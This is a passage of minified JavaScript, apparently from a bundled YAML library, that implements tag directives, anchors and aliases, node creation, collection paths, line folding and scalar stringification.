\t]+/),Y=q.shift();switch(Y){case"%TAG":{if(q.length!==2){if(K(0,"%TAG directive should contain exactly two parts"),q.length<2)return!1}let[z,w]=q;return this.tags[z]=w,!0}case"%YAML":{if(this.yaml.explicit=!0,q.length!==1)return K(0,"%YAML directive should contain exactly one part"),!1;let[z]=q;if(z==="1.1"||z==="1.2")return this.yaml.version=z,!0;else{let w=/^\d+\.\d+$/.test(z);return K(6,`Unsupported YAML version ${z}`,w),!1}}default:return K(0,`Unknown directive ${Y}`,!0),!1}}tagName(A,K){if(A==="!")return"!";if(A[0]!=="!")return K(`Not a valid tag: ${A}`),null;if(A[1]==="<"){let w=A.slice(2,-1);if(w==="!"||w==="!!")return K(`Verbatim tags aren't resolved, so ${A} is invalid.`),null;if(A[A.length-1]!==">")K("Verbatim tags must end with a >");return w}let[,q,Y]=A.match(/^(.*!)([^!]*)$/s);if(!Y)K(`The ${A} tag has no suffix`);let z=this.tags[q];if(z)try{return z+decodeURIComponent(Y)}catch(w){return K(String(w)),null}if(q==="!")return A;return K(`Could not resolve tag: ${A}`),null}tagString(A){for(let[K,q]of Object.entries(this.tags))if(A.startsWith(q))return K+UZ9(A.substring(q.length));return A[0]==="!"?A:`!<${A}>`}toString(A){let K=this.yaml.explicit?[`%YAML ${this.yaml.version||"1.2"}`]:[],q=Object.entries(this.tags),Y;if(A&&q.length>0&&KI4.isNode(A.contents)){let z={};FZ9.visit(A.contents,(w,H)=>{if(KI4.isNode(H)&&H.tag)z[H.tag]=!0}),Y=Object.keys(z)}else Y=[];for(let[z,w]of q){if(z==="!!"&&w==="tag:yaml.org,2002:")continue;if(!A||Y.some((H)=>H.startsWith(w)))K.push(`%TAG ${z} ${w}`)}return K.join(` `)}}sk.defaultYaml={explicit:!1,version:"1.2"};sk.defaultTags={"!!":"tag:yaml.org,2002:"};pZ9.Directives=sk});var y91=v((nZ9)=>{var qI4=WY(),cZ9=BIA();function lZ9(A){if(/[\x00-\x19\s,[\]{}]/.test(A)){let q=`Anchor must not contain whitespace or control characters: ${JSON.stringify(A)}`;throw Error(q)}return!0}function YI4(A){let K=new Set;return cZ9.visit(A,{Value(q,Y){if(Y.anchor)K.add(Y.anchor)}}),K}function zI4(A,K){for(let q=1;;++q){let Y=`${A}${q}`;if(!K.has(Y))return Y}}function iZ9(A,K){let q=[],Y=new Map,z=null;return{onAnchor:(w)=>{q.push(w),z??(z=YI4(A));let H=zI4(K,z);return z.add(H),H},setAnchors:()=>{for(let w of q){let H=Y.get(w);if(typeof H==="object"&&H.anchor&&(qI4.isScalar(H.node)||qI4.isCollection(H.node)))H.node.anchor=H.anchor;else{let J=Error("Failed to resolve repeated object (this should not happen)");throw J.source=w,J}}},sourceObjects:Y}}nZ9.anchorIsValid=lZ9;nZ9.anchorNames=YI4;nZ9.createNodeAnchors=iZ9;nZ9.findNewAnchor=zI4});var o36=v((tZ9)=>{function mIA(A,K,q,Y){if(Y&&typeof Y==="object")if(Array.isArray(Y))for(let z=0,w=Y.length;z<w;++z){let H=Y[z],J=mIA(A,Y,String(z),H);if(J===void 0)delete Y[z];else if(J!==H)Y[z]=J}else if(Y instanceof Map)for(let z of Array.from(Y.keys())){let w=Y.get(z),H=mIA(A,Y,z,w);if(H===void 0)Y.delete(z);else if(H!==w)Y.set(z,H)}else if(Y instanceof Set)for(let z of Array.from(Y)){let w=mIA(A,Y,z,z);if(w===void 0)Y.delete(z);else if(w!==z)Y.delete(z),Y.add(w)}else for(let[z,w]of Object.entries(Y)){let H=mIA(A,Y,z,w);if(H===void 0)delete Y[z];else if(H!==w)Y[z]=H}return A.call(K,q,Y)}tZ9.applyReviver=mIA});var Sr=v((KW9)=>{var AW9=WY();function wI4(A,K,q){if(Array.isArray(A))return A.map((Y,z)=>wI4(Y,String(z),q));if(A&&typeof A.toJSON==="function"){if(!q||!AW9.hasAnchor(A))return A.toJSON(K,q);let Y={aliasCount:0,count:1,res:void 0};q.anchors.set(A,Y),q.onCreate=(w)=>{Y.res=w,delete q.onCreate};let z=A.toJSON(K,q);if(q.onCreate)q.onCreate(z);return z}if(typeof A==="bigint"&&!q?.keep)return Number(A);return A}KW9.toJS=wI4});var I91=v((wW9)=>{var YW9=o36(),HI4=WY(),zW9=Sr();class JI4{constructor(A){Object.defineProperty(this,HI4.NODE_TYPE,{value:A})}clone(){let A=Object.create(Object.getPrototypeOf(this),Object.getOwnPropertyDescriptors(this));if(this.range)A.range=this.range.slice();return A}toJS(A,{mapAsMap:K,maxAliasCount:q,onAnchor:Y,reviver:z}={}){if(!HI4.isDocument(A))throw TypeError("A document argument is required");let w={anchors:new Map,doc:A,keep:!0,mapAsMap:K===!0,mapKeyWarned:!1,maxAliasCount:typeof q==="number"?q:100},H=zW9.toJS(this,"",w);if(typeof Y==="function")for(let{count:J,res:O}of w.anchors.values())Y(O,J);return typeof z==="function"?YW9.applyReviver(z,{"":H},"",H):H}}wW9.NodeBase=JI4});var gIA=v((_W9)=>{var JW9=y91(),OW9=BIA(),J$A=WY(),XW9=I91(),$W9=Sr();class OI4 extends XW9.NodeBase{constructor(A){super(J$A.ALIAS);this.source=A,Object.defineProperty(this,"tag",{set(){throw Error("Alias nodes cannot have tags")}})}resolve(A,K){let q;if(K?.aliasResolveCache)q=K.aliasResolveCache;else if(q=[],OW9.visit(A,{Node:(z,w)=>{if(J$A.isAlias(w)||J$A.hasAnchor(w))q.push(w)}}),K)K.aliasResolveCache=q;let Y=void 0;for(let z of q){if(z===this)break;if(z.anchor===this.source)Y=z}return Y}toJSON(A,K){if(!K)return{source:this.source};let{anchors:q,doc:Y,maxAliasCount:z}=K,w=this.resolve(Y,K);if(!w){let J=`Unresolved alias (the anchor must be set before the alias): ${this.source}`;throw ReferenceError(J)}let H=q.get(w);if(!H)$W9.toJS(w,null,K),H=q.get(w);if(!H||H.res===void 0)throw ReferenceError("This should not happen: Alias anchor was not resolved?");if(z>=0){if(H.count+=1,H.aliasCount===0)H.aliasCount=S91(Y,w,q);if(H.count*H.aliasCount>z)throw ReferenceError("Excessive alias count indicates a resource exhaustion attack")}return H.res}toString(A,K,q){let Y=`*${this.source}`;if(A){if(JW9.anchorIsValid(this.source),A.options.verifyAliasOrder&&!A.anchors.has(this.source)){let z=`Unresolved alias (the anchor must be set before the alias): ${this.source}`;throw Error(z)}if(A.implicitKey)return`${Y} `}return Y}}function S91(A,K,q){if(J$A.isAlias(K)){let Y=K.resolve(A),z=q&&Y&&q.get(Y);return z?z.count*z.aliasCount:0}else if(J$A.isCollection(K)){let Y=0;for(let z of K.items){let w=S91(A,z,q);if(w>Y)Y=w}return Y}else if(J$A.isPair(K)){let Y=S91(A,K.key,q),z=S91(A,K.value,q);return Math.max(Y,z)}return 1}_W9.Alias=OI4});var q$=v((MW9)=>{var ZW9=WY(),WW9=I91(),DW9=Sr(),jW9=(A)=>!A||typeof A!=="function"&&typeof A!=="object";class t4A extends WW9.NodeBase{constructor(A){super(ZW9.SCALAR);this.value=A}toJSON(A,K){return K?.keep?this.value:DW9.toJS(this.value,A,K)}toString(){return String(this.value)}}t4A.BLOCK_FOLDED="BLOCK_FOLDED";t4A.BLOCK_LITERAL="BLOCK_LITERAL";t4A.PLAIN="PLAIN";t4A.QUOTE_DOUBLE="QUOTE_DOUBLE";t4A.QUOTE_SINGLE="QUOTE_SINGLE";MW9.Scalar=t4A;MW9.isScalarValue=jW9});var FIA=v((EW9)=>{var fW9=gIA(),e4A=WY(),XI4=q$(),NW9="tag:yaml.org,2002:";function TW9(A,K,q){if(K){let Y=q.filter((w)=>w.tag===K),z=Y.find((w)=>!w.format)??Y[0];if(!z)throw Error(`Tag ${K} not found`);return z}return q.find((Y)=>Y.identify?.(A)&&!Y.format)}function vW9(A,K,q){if(e4A.isDocument(A))A=A.contents;if(e4A.isNode(A))return A;if(e4A.isPair(A)){let _=q.schema[e4A.MAP].createNode?.(q.schema,null,q);return _.items.push(A),_}if(A instanceof String||A instanceof Number||A instanceof Boolean||typeof BigInt<"u"&&A instanceof BigInt)A=A.valueOf();let{aliasDuplicateObjects:Y,onAnchor:z,onTagObj:w,schema:H,sourceObjects:J}=q,O=void 0;if(Y&&A&&typeof A==="object")if(O=J.get(A),O)return O.anchor??(O.anchor=z(A)),new fW9.Alias(O.anchor);else O={anchor:null,node:null},J.set(A,O);if(K?.startsWith("!!"))K=NW9+K.slice(2);let X=TW9(A,K,H.tags);if(!X){if(A&&typeof A.toJSON==="function")A=A.toJSON();if(!A||typeof A!=="object"){let _=new XI4.Scalar(A);if(O)O.node=_;return _}X=A instanceof Map?H[e4A.MAP]:(Symbol.iterator in Object(A))?H[e4A.SEQ]:H[e4A.MAP]}if(w)w(X),delete q.onTagObj;let $=X?.createNode?X.createNode(q.schema,A,q):typeof X?.nodeClass?.from==="function"?X.nodeClass.from(q.schema,A,q):new XI4.Scalar(A);if(K)$.tag=K;else if(!X.default)$.tag=X.tag;if(O)O.node=$;return $}EW9.createNode=vW9});var h91=v((RW9)=>{var CW9=FIA(),Ux=WY(),LW9=I91();function a36(A,K,q){let Y=q;for(let z=K.length-1;z>=0;--z){let w=K[z];if(typeof w==="number"&&Number.isInteger(w)&&w>=0){let H=[];H[w]=Y,Y=H}else Y=new Map([[w,Y]])}return CW9.createNode(Y,void 0,{aliasDuplicateObjects:!1,keepUndefined:!1,onAnchor:()=>{throw Error("This should not happen, please report a bug.")},schema:A,sourceObjects:new Map})}var $I4=(A)=>A==null||typeof A==="object"&&!!A[Symbol.iterator]().next().done;class _I4 extends LW9.NodeBase{constructor(A,K){super(A);Object.defineProperty(this,"schema",{value:K,configurable:!0,enumerable:!1,writable:!0})}clone(A){let K=Object.create(Object.getPrototypeOf(this),Object.getOwnPropertyDescriptors(this));if(A)K.schema=A;if(K.items=K.items.map((q)=>Ux.isNode(q)||Ux.isPair(q)?q.clone(A):q),this.range)K.range=this.range.slice();return K}addIn(A,K){if($I4(A))this.add(K);else{let[q,...Y]=A,z=this.get(q,!0);if(Ux.isCollection(z))z.addIn(Y,K);else if(z===void 0&&this.schema)this.set(q,a36(this.schema,Y,K));else throw Error(`Expected YAML collection at ${q}. Remaining path: ${Y}`)}}deleteIn(A){let[K,...q]=A;if(q.length===0)return this.delete(K);let Y=this.get(K,!0);if(Ux.isCollection(Y))return Y.deleteIn(q);else throw Error(`Expected YAML collection at ${K}. Remaining path: ${q}`)}getIn(A,K){let[q,...Y]=A,z=this.get(q,!0);if(Y.length===0)return!K&&Ux.isScalar(z)?z.value:z;else return Ux.isCollection(z)?z.getIn(Y,K):void 0}hasAllNullValues(A){return this.items.every((K)=>{if(!Ux.isPair(K))return!1;let q=K.value;return q==null||A&&Ux.isScalar(q)&&q.value==null&&!q.commentBefore&&!q.comment&&!q.tag})}hasIn(A){let[K,...q]=A;if(q.length===0)return this.has(K);let Y=this.get(K,!0);return Ux.isCollection(Y)?Y.hasIn(q):!1}setIn(A,K){let[q,...Y]=A;if(Y.length===0)this.set(q,K);else{let z=this.get(q,!0);if(Ux.isCollection(z))z.setIn(Y,K);else if(z===void 0&&this.schema)this.set(q,a36(this.schema,Y,K));else throw Error(`Expected YAML collection at ${q}. Remaining path: ${Y}`)}}}RW9.Collection=_I4;RW9.collectionFromPath=a36;RW9.isEmptyPath=$I4});var QIA=v((xW9)=>{var hW9=(A)=>A.replace(/^(?!$)(?: $)?/gm,"#");function s36(A,K){if(/^\n+$/.test(A))return A.substring(1);return K?A.replace(/^(?! *$)/gm,K):A}var bW9=(A,K,q)=>A.endsWith(` `)?s36(q,K):q.includes(` `)?` `+s36(q,K):(A.endsWith(" ")?"":" ")+q;xW9.indentComment=s36;xW9.lineComment=bW9;xW9.stringifyComment=hW9});var ZI4=v((FW9)=>{function gW9(A,K,q="flow",{indentAtStart:Y,lineWidth:z=80,minContentWidth:w=20,onFold:H,onOverflow:J}={}){if(!z||z<0)return A;if(z<w)w=0;let O=Math.max(1+w,1+z-K.length);if(A.length<=O)return A;let X=[],$={},_=z-K.length;if(typeof Y==="number")if(Y>z-Math.max(2,w))X.push(0);else _=z-Y;let G=void 0,Z=void 0,W=!1,D=-1,j=-1,M=-1;if(q==="block"){if(D=GI4(A,D,K.length),D!==-1)_=D+O}for(let f;f=A[D+=1];){if(q==="quoted"&&f==="\\"){switch(j=D,A[D+1]){case"x":D+=3;break;case"u":D+=5;break;case"U":D+=9;break;default:D+=1}M=D}if(f===` `){if(q==="block")D=GI4(A,D,K.length);_=D+K.length+O,G=void 0}else{if(f===" "&&Z&&Z!==" "&&Z!==` `&&Z!=="\t"){let N=A[D+1];if(N&&N!==" "&&N!==` `&&N!=="\t")G=D}if(D>=_)if(G)X.push(G),_=G+O,G=void 0;else if(q==="quoted"){while(Z===" "||Z==="\t")Z=f,f=A[D+=1],W=!0;let N=D>M+1?D-2:j-1;if($[N])return A;X.push(N),$[N]=!0,_=N+O,G=void 0}else W=!0}Z=f}if(W&&J)J();if(X.length===0)return A;if(H)H();let P=A.slice(0,X[0]);for(let f=0;f<X.length;++f){let N=X[f],T=X[f+1]||A.length;if(N===0)P=` ${K}${A.slice(0,T)}`;else{if(q==="quoted"&&$[N])P+=`${A[N]}\\`;P+=` ${K}${A.slice(N+1,T)}`}}return P}function GI4(A,K,q){let Y=K,z=K+1,w=A[z];while(w===" "||w==="\t")if(K<z+q)w=A[++K];else{do w=A[++K];while(w&&w!==` `);Y=K,z=K+1,w=A[z]}return Y}FW9.FOLD_BLOCK="block";FW9.FOLD_FLOW="flow";FW9.FOLD_QUOTED="quoted";FW9.foldFlowLines=gW9});var pIA=v((nW9)=>{var gy=q$(),hr=ZI4(),x91=(A,K)=>({indentAtStart:K?A.indent.length:A.indentAtStart,lineWidth:A.options.lineWidth,minContentWidth:A.options.minContentWidth}),u91=(A)=>/^(%|---|\.\.\.)/m.test(A);function cW9(A,K,q){if(!K||K<0)return!1;let Y=K-q,z=A.length;if(z<=Y)return!1;for(let w=0,H=0;w<z;++w)if(A[w]===` `){if(w-H>Y)return!0;if(H=w+1,z-H<=Y)return!1}return!0}function UIA(A,K){let q=JSON.stringify(A);if(K.options.doubleQuotedAsJSON)return q;let{implicitKey:Y}=K,z=K.options.doubleQuotedMinMultiLineLength,w=K.indent||(u91(A)?" ":""),H="",J=0;for(let O=0,X=q[O];X;X=q[++O]){if(X===" "&&q[O+1]==="\\"&&q[O+2]==="n")H+=q.slice(J,O)+"\\ ",O+=1,J=O,X="\\";if(X==="\\")switch(q[O+1]){case"u":{H+=q.slice(J,O);let $=q.substr(O+2,4);switch($){case"0000":H+="\\0";break;case"0007":H+="\\a";break;case"000b":H+="\\v";break;case"001b":H+="\\e";break;case"0085":H+="\\N";break;case"00a0":H+="\\_";break;case"2028":H+="\\L";break;case"2029":H+="\\P";break;default:if($.substr(0,2)==="00")H+="\\x"+$.substr(2);else H+=q.substr(O,6)}O+=5,J=O+1}break;case"n":if(Y||q[O+2]==='"'||q.length<z)O+=1;else{H+=q.slice(J,O)+` `;while(q[O+2]==="\\"&&q[O+3]==="n"&&q[O+4]!=='"')H+=` `,O+=2;if(H+=w,q[O+2]===" ")H+="\\";O+=1,J=O+1}break;default:O+=1}}return H=J?H+q.slice(J):q,Y?H:hr.foldFlowLines(H,w,hr.FOLD_QUOTED,x91(K,!1))}function t36(A,K){if(K.options.singleQuote===!1||K.implicitKey&&A.includes(` `)||/[ \t]\n|\n[ \t]/.test(A))return UIA(A,K);let q=K.indent||(u91(A)?" ":""),Y="'"+A.replace(/'/g,"''").replace(/\n+/g,`$& ${q}`)+"'";return K.implicitKey?Y:hr.foldFlowLines(Y,q,hr.FOLD_FLOW,x91(K,!1))}function O$A(A,K){let{singleQuote:q}=K.options,Y;if(q===!1)Y=UIA;else{let z=A.includes('"'),w=A.includes("'");if(z&&!w)Y=t36;else if(w&&!z)Y=UIA;else Y=q?t36:UIA}return Y(A,K)}var e36;try{e36=new RegExp(`(^|(?<! )) +(?! |$)`,"g")}catch{e36=/\n+(?!\n|$)/g}function b91({comment:A,type:K,value:q},Y,z,w){let{blockQuote:H,commentString:J,lineWidth:O}=Y.options;if(!H||/\n[\t ]+$/.test(q))return O$A(q,Y);let X=Y.indent||(Y.forceBlockIndent||u91(q)?" ":""),$=H==="literal"?!0:H==="folded"||K===gy.Scalar.BLOCK_FOLDED?!1:K===gy.Scalar.BLOCK_LITERAL?!0:!cW9(q,O,X.length);if(!q)return $?`| `:`> `;let _,G;for(G=q.length;G>0;--G){let T=q[G-1];if(T!==` `&&T!=="\t"&&T!==" ")break}let Z=q.substring(G),W=Z.indexOf(` `);if(W===-1)_="-";else if(q===Z||W!==Z.length-1){if(_="+",w)w()}else _="";if(Z){if(q=q.slice(0,-Z.length),Z[Z.length-1]===` `)Z=Z.slice(0,-1);Z=Z.replace(e36,`$&${X}`)}let D=!1,j,M=-1;for(j=0;j<q.length;++j){let T=q[j];if(T===" ")D=!0;else if(T===` `)M=j;else break}let P=q.substring(0,M<j?M+1:j);if(P)q=q.substring(P.length),P=P.replace(/\n+/g,`$&${X}`);let N=(D?X?"2":"1":"")+_;if(A){if(N+=" "+J(A.replace(/ ?[\r\n]+/g," ")),z)z()}if(!$){let T=q.replace(/\n+/g,` $&`).replace(/(?:^|\n)([\t ].*)(?:([\n\t ]*)\n(?![\n\t ]))?/g,"$1$2").replace(/\n+/g,`$&${X}`),C=!1,R=x91(Y,!0);if(H!=="folded"&&K!==gy.Scalar.BLOCK_FOLDED)R.onOverflow=()=>{C=!0};let x=hr.foldFlowLines(`${P}${T}${Z}`,X,hr.FOLD_BLOCK,R);if(!C)return`>${N} ${X}${x}`}return q=q.replace(/\n+/g,`$&${X}`),`|${N} ${X}${P}${q}${Z}`}function lW9(A,K,q,Y){let{type:z,value:w}=A,{actualString:H,implicitKey:J,indent:O,indentStep:X,inFlow:$}=K;if(J&&w.includes(` `)||$&&/[[\]{},]/.test(w))return O$A(w,K);if(/^[\n\t ,[\]{}#&*!|>'"%@`]|^[?-]$|^[?-][ \t]|[\n:][ \t]|[ \t]\n|[\n\t ]#|[\n\t :]$/.test(w))return J||$||!w.includes(` `)?O$A(w,K):b91(A,K,q,Y);if(!J&&!$&&z!==gy.Scalar.PLAIN&&w.includes(` `))return b91(A,K,q,Y);if(u91(w)){if(O==="")return K.forceBlockIndent=!0,b91(A,K,q,Y);else if(J&&O===X)return O$A(w,K)}let _=w.replace(/\n+/g,`$& ${O}`);if(H){let G=(D)=>D.default&&D.tag!=="tag:yaml.org,2002:str"&&D.test?.test(_),{compat:Z,tags:W}=K.doc.schema;if(W.some(G)||Z?.some(G))return O$A(w,K)}return J?_:hr.foldFlowLines(_,O,hr.FOLD_FLOW,x91(K,!1))}function iW9(A,K,q,Y){let{implicitKey:z,inFlow:w}=K,H=typeof A.value==="string"?A:Object.assign({},A,{value:String(A.value)}),{type:J}=A;if(J!==gy.Scalar.QUOTE_DOUBLE){if(/[\x00-\x08\x0b-\x1f\x7f-\x9f\u{D800}-\u{DFFF}]/u.test(H.value))J=gy.Scalar.QUOTE_DOUBLE}let O=($)=>{switch($){case gy.Scalar.BLOCK_FOLDED:case gy.Scalar.BLOCK_LITERAL:return z||w?O$A(H.value,K):b91(H,K,q,Y);case gy.Scalar.QUOTE_DOUBLE:return UIA(H.value,K);case gy.Scalar.QUOTE_SINGLE:return t36(H.value,K);case gy.Scalar.PLAIN:return lW9(H,K,q,Y);default:return null}},X=O(J);if(X===null){let{defaultKeyType:$,defaultStringType:_}=K.options,G=z&&$||_;if(X=O(G),X===null)throw Error(`Unsupported default string type ${G}`)}return X}nW9.stringifyString=iW9});var dIA=v((qD9)=>{var oW9=y91(),br=WY(),aW9=QIA(),sW9=pIA();function tW9(A,K){let q=Object.assign({blockQuote:!0,commentString:aW9.stringifyComment,defaultKeyType:null,defaultStringType:"PLAIN",directives:null,doubleQuotedAsJSON:!1,doubleQuotedMinMultiLineLength:40,falseStr:"false",flowCollectionPadding:!0,indentSeq:!0,lineWidth:80,minContentWidth:20,nullStr:"null",simpleKeys:!1,singleQuote:null,trueStr:"true",verifyAliasOrder:!0},A.schema.toStringOptions,K),Y;switch(q.collectionStyle){case"block":Y=!1;break;case"flow":Y=!0;break;default:Y=null}return{anchors:new Set,doc:A,flowCollectionPadding:q.flowCollectionPadding?" ":"",indent:"",indentStep:typeof q.indent==="number"?" ".repeat(q.indent):" ",inFlow:Y,options:q}}function eW9(A,K){if(K.tag){let z=A.filter((w)=>w.tag===K.tag);if(z.length>0)return z.find((w)=>w.format===K.format)??z[0]}let q=void 0,Y;if(br.isScalar(K)){Y=K.value;let z=A.filter((w)=>w.identify?.(Y));if(z.length>1){let w=z.filter((H)=>H.test);if(w.length>0)z=w}q=z.find((w)=>w.format===K.format)??z.find((w)=>!w.format)}else Y=K,q=A.find((z)=>z.nodeClass&&Y instanceof z.nodeClass);if(!q){let z=Y?.constructor?.name??(Y===null?"null":typeof Y);throw Error(`Tag not resolved for ${z} value`)}return q}function AD9(A,K,{anchors:q,doc:Y}){if(!Y.directives)return"";let z=[],w=(br.isScalar(A)||br.isCollection(A))&&A.anchor;if(w&&oW9.anchorIsValid(w))q.add(w),z.push(`&${w}`);let H=A.tag??(K.default?null:K.tag);if(H)z.push(Y.directives.tagString(H));return z.join(" ")}function KD9(A,K,q,Y){if(br.isPair(A))return A.toString(K,q,Y);if(br.isAlias(A)){if(K.doc.directives)return A.toString(K);if(K.resolvedAliases?.has(A))throw TypeError("Cannot stringify circular structure without alias nodes");else{if(K.resolvedAliases)K.resolvedAliases.add(A);else K.resolvedAliases=new Set([A]);A=A.resolve(K.doc)}}let z=void 0,w=br.isNode(A)?A:K.doc.createNode(A,{onTagObj:(O)=>z=O});z??(z=eW9(K.doc.schema.tags,w));let H=AD9(w,z,K);if(H.length>0)K.indentAtStart=(K.indentAtStart??0)+H.length+1;let J=typeof z.stringify==="function"?z.stringify(w,K,q,Y):br.isScalar(w)?sW9.stringifyString(w,K,q,Y):w.toString(K,q,Y);if(!H)return J;return br.isScalar(w)||J[0]==="{"||J[0]==="["?`${H} ${J}`:`${H} ${K.indent}${J}`}qD9.createStringifyContext=tW9;qD9.stringify=KD9});var jI4=v((HD9)=>{var iQ=WY(),WI4=q$(),DI4=dIA(),cIA=QIA();function wD9({key:A,value:K},q,Y,z){let{allNullValues:w,doc:H,indent:J,indentStep:O,options:{commentString:X,indentSeq:$,simpleKeys:_}}=q,G=iQ.isNode(A)&&A.comment||null;if(_){if(G)throw Error("With simple keys, key nodes cannot have comments");if(iQ.isCollection(A)||!iQ.isNode(A)&&typeof A==="object")throw Error("With simple keys, collection cannot be used as a key value")}let Z=!_&&(!A||G&&K==null&&!q.inFlow||iQ.isCollection(A)||(iQ.isScalar(A)?A.type===WI4.Scalar.BLOCK_FOLDED||A.type===WI4.Scalar.BLOCK_LITERAL:typeof A==="object"));q=Object.assign({},q,{allNullValues:!1,implicitKey:!Z&&(_||!w),indent:J+O});let W=!1,D=!1,j=DI4.stringify(A,q,()=>W=!0,()=>D=!0);if(!Z&&!q.inFlow&&j.length>1024){if(_)throw Error("With simple keys, single line scalar must not span more than 1024 characters");Z=!0}if(q.inFlow){if(w||K==null){if(W&&Y)Y();return j===""?"?":Z?`? ${j}`:j}}else if(w&&!_||K==null&&Z){if(j=`? ${j}`,G&&!W)j+=cIA.lineComment(j,q.indent,X(G));else if(D&&z)z();return j}if(W)G=null;if(Z){if(G)j+=cIA.lineComment(j,q.indent,X(G));j=`? ${j} ${J}:`}else if(j=`${j}:`,G)j+=cIA.lineComment(j,q.indent,X(G));let M,P,f;if(iQ.isNode(K))M=!!K.spaceBefore,P=K.commentBefore,f=K.comment;else if(M=!1,P=null,f=null,K&&typeof K==="object")K=H.createNode(K);if(q.implicitKey=!1,!Z&&!G&&iQ.isScalar(K))q.indentAtStart=j.length+1;if(D=!1,!$&&O.length>=2&&!q.inFlow&&!Z&&iQ.isSeq(K)&&!K.flow&&!K.tag&&!K.anchor)q.indent=q.indent.substring(2);let N=!1,T=DI4.stringify(K,q,()=>N=!0,()=>D=!0),C=" ";if(G||M||P){if(C=M?` `:"",P){let R=X(P);C+=` ${cIA.indentComment(R,q.indent)}`}if(T===""&&!q.inFlow){if(C===` `)C=` `}else C+=` ${q.indent}`}else if(!Z&&iQ.isCollection(K)){let R=T[0],x=T.indexOf(` `),y=x!==-1,B=q.inFlow??K.flow??K.items.length===0;if(y||!B){let b=!1;if(y&&(R==="&"||R==="!")){let F=T.indexOf(" ");if(R==="&"&&F!==-1&&F<x&&T[F+1]==="!")F=T.indexOf(" ",F+1);if(F===-1||x<F)b=!0}if(!b)C=` ${q.indent}`}}else if(T===""||T[0]===` `)C="";if(j+=C+T,q.inFlow){if(N&&Y)Y()}else if(f&&!N)j+=cIA.lineComment(j,q.indent,X(f));else if(D&&z)z();return j}HD9.stringifyPair=wD9});var A96=v(($D9)=>{var MI4=CA("process");function OD9(A,...K){if(A==="debug")console.log(...K)}function XD9(A,K){if(A==="debug"||A==="warn")if(typeof MI4.emitWarning==="function")MI4.emitWarning(K);else console.warn(K)}$D9.debug=OD9;$D9.warn=XD9});var g91=v((WD9)=>{var lIA=WY(),PI4=q$(),B91="<<",m91={identify:(A)=>A===B91||typeof A==="symbol"&&A.description===B91,default:"key",tag:"tag:yaml.org,2002:merge",test:/^<<$/,resolve:()=>Object.assign(new PI4.Scalar(Symbol(B91)),{addToJSMap:VI4}),stringify:()=>B91},ZD9=(A,K)=>(m91.identify(K)||lIA.isScalar(K)&&(!K.type||K.type===PI4.Scalar.PLAIN)&&m91.identify(K.value))&&A?.doc.schema.tags.some((q)=>q.tag===m91.tag&&q.default);function VI4(A,K,q){if(q=A&&lIA.isAlias(q)?q.resolve(A.doc):q,lIA.isSeq(q))for(let Y of q.items)K96(A,K,Y);else if(Array.isArray(q))for(let Y of q)K96(A,K,Y);else K96(A,K,q)}function K96(A,K,q){let Y=A&&lIA.isAlias(q)?q.resolve(A.doc):q;if(!lIA.isMap(Y))throw Error("Merge sources must be maps or map aliases");let z=Y.toJSON(null,A,Map);for(let[w,H]of z)if(K instanceof Map){if(!K.has(w))K.set(w,H)}else if(K instanceof Set)K.add(w);else if(!Object.prototype.hasOwnProperty.call(K,w))Object.defineProperty(K,w,{value:H,writable:!0,enumerable:!0,configurable:!0});return K}WD9.addMergeToJSMap=VI4;WD9.isMergeKey=ZD9;WD9.merge=m91});var Y96=v((TD9)=>{var PD9=A96(),fI4=g91(),VD9=dIA(),NI4=WY(),q96=Sr();function fD9(A,K,{key:q,value:Y}){if(NI4.isNode(q)&&q.addToJSMap)q.addToJSMap(A,K,Y);else if(fI4.isMergeKey(A,q))fI4.addMergeToJSMap(A,K,Y);else{let z=q96.toJS(q,"",A);if(K instanceof Map)K.set(z,q96.toJS(Y,z,A));else if(K instanceof Set)K.add(z);else{let w=ND9(q,z,A),H=q96.toJS(Y,w,A);if(w in K)Object.defineProperty(K,w,{value:H,writable:!0,enumerable:!0,configurable:!0});else K[w]=H}}return K}function ND9(A,K,q){if(K===null)return"";if(typeof K!=="object")return String(K);if(NI4.isNode(A)&&q?.doc){let Y=VD9.createStringifyContext(q.doc,{});Y.anchors=new Set;for(let w of q.anchors.keys())Y.anchors.add(w.anchor);Y.inFlow=!0,Y.inStringifyKey=!0;let z=A.toString(Y);if(!q.mapKeyWarned){let w=JSON.stringify(z);if(w.length>40)w=w.substring(0,36)+'..."';PD9.warn(q.doc.options.logLevel,`Keys with collection values will be stringified due to JS Object restrictions: ${w}. Set mapAsMap: true to use object keys.`),q.mapKeyWarned=!0}return z}return JSON.stringify(K)}TD9.addPairToJSMap=fD9});var xr=v((LD9)=>{var TI4=FIA(),ED9=jI4(),kD9=Y96(),F91=WY();function CD9(A,K,q){let Y=TI4.createNode(A,void 0,q),z=TI4.createNode(K,void 0,q);return new Q91(Y,z)}class Q91{constructor(A,K=null){Object.defineProperty(this,F91.NODE_TYPE,{value:F91.PAIR}),this.key=A,this.value=K}clone(A){let{key:K,value:q}=this;if(F91.isNode(K))K=K.clone(A);if(F91.isNode(q))q=q.clone(A);return new Q91(K,q)}toJSON(A,K){let q=K?.mapAsMap?new Map:{};return kD9.addPairToJSMap(K,q,this)}toString(A,K,q){return A?.doc?ED9.stringifyPair(this,A,K,q):JSON.stringify(this)}}LD9.Pair=Q91;LD9.createPair=CD9});var z96=v((bD9)=>{var A7A=WY(),vI4=dIA(),U91=QIA();function ID9(A,K,q){return(K.inFlow??A.flow?hD9:SD9)(A,K,q)}function SD9({comment:A,items:K},q,{blockItemPrefix:Y,flowChars:z,itemIndent:w,onChompKeep:H,onComment:J}){let{indent:O,options:{commentString:X}}=q,$=Object.assign({},q,{indent:w,type:null}),_=!1,G=[];for(let W=0;W<K.length;++W){let D=K[W],j=null;if(A7A.isNode(D)){if(!_&&D.spaceBefore)G.push("");if(p91(q,G,D.commentBefore,_),D.comment)j=D.comment}else if(A7A.isPair(D)){let P=A7A.isNode(D.key)?D.key:null;if(P){if(!_&&P.spaceBefore)G.push("");p91(q,G,P.commentBefore,_)}}_=!1;let M=vI4.stringify(D,$,()=>j=null,()=>_=!0);if(j)M+=U91.lineComment(M,w,X(j));if(_&&j)_=!1;G.push(Y+M)}let Z;if(G.length===0)Z=z.start+z.end;else{Z=G[0];for(let W=1;W<G.length;++W){let D=G[W];Z+=D?` ${O}${D}`:` `}}if(A){if(Z+=` `+U91.indentComment(X(A),O),J)J()}else if(_&&H)H();return Z}function hD9({items:A},K,{flowChars:q,itemIndent:Y}){let{indent:z,indentStep:w,flowCollectionPadding:H,options:{commentString:J}}=K;Y+=w;let O=Object.assign({},K,{indent:Y,inFlow:!0,type:null}),X=!1,$=0,_=[];for(let W=0;W<A.length;++W){let 